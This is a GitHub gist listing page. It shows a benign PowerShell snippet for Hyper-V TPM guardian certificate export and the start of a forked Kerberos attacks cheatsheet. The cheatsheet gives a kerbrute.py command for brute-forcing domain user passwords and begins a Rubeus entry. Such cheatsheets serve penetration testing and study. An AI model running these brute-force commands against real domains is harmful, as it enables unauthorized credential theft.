Skip to content

Instantly share code, notes, and snippets.

View hang10z's full-sized avatar

Kevin Taylor hang10z

View GitHub Profile
@hang10z
hang10z / Export-UntrustedGuardian.ps1
Created December 13, 2023 15:38 — forked from valorad/Export-UntrustedGuardian.ps1
Hyper-V TPM Migration (To solve error: "The key protector could not be unwrapped" that causes VM startup failure)
$GuardianName = 'UntrustedGuardian'
$CertificatePassword = Read-Host -Prompt 'Please enter a password to secure the certificate files' -AsSecureString
$guardian = Get-HgsGuardian -Name $GuardianName
if (-not $guardian)
{
throw "Guardian '$GuardianName' could not be found on the local system."
}
@hang10z
hang10z / kerberos_attacks_cheatsheet.md
Created May 16, 2022 03:00 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module: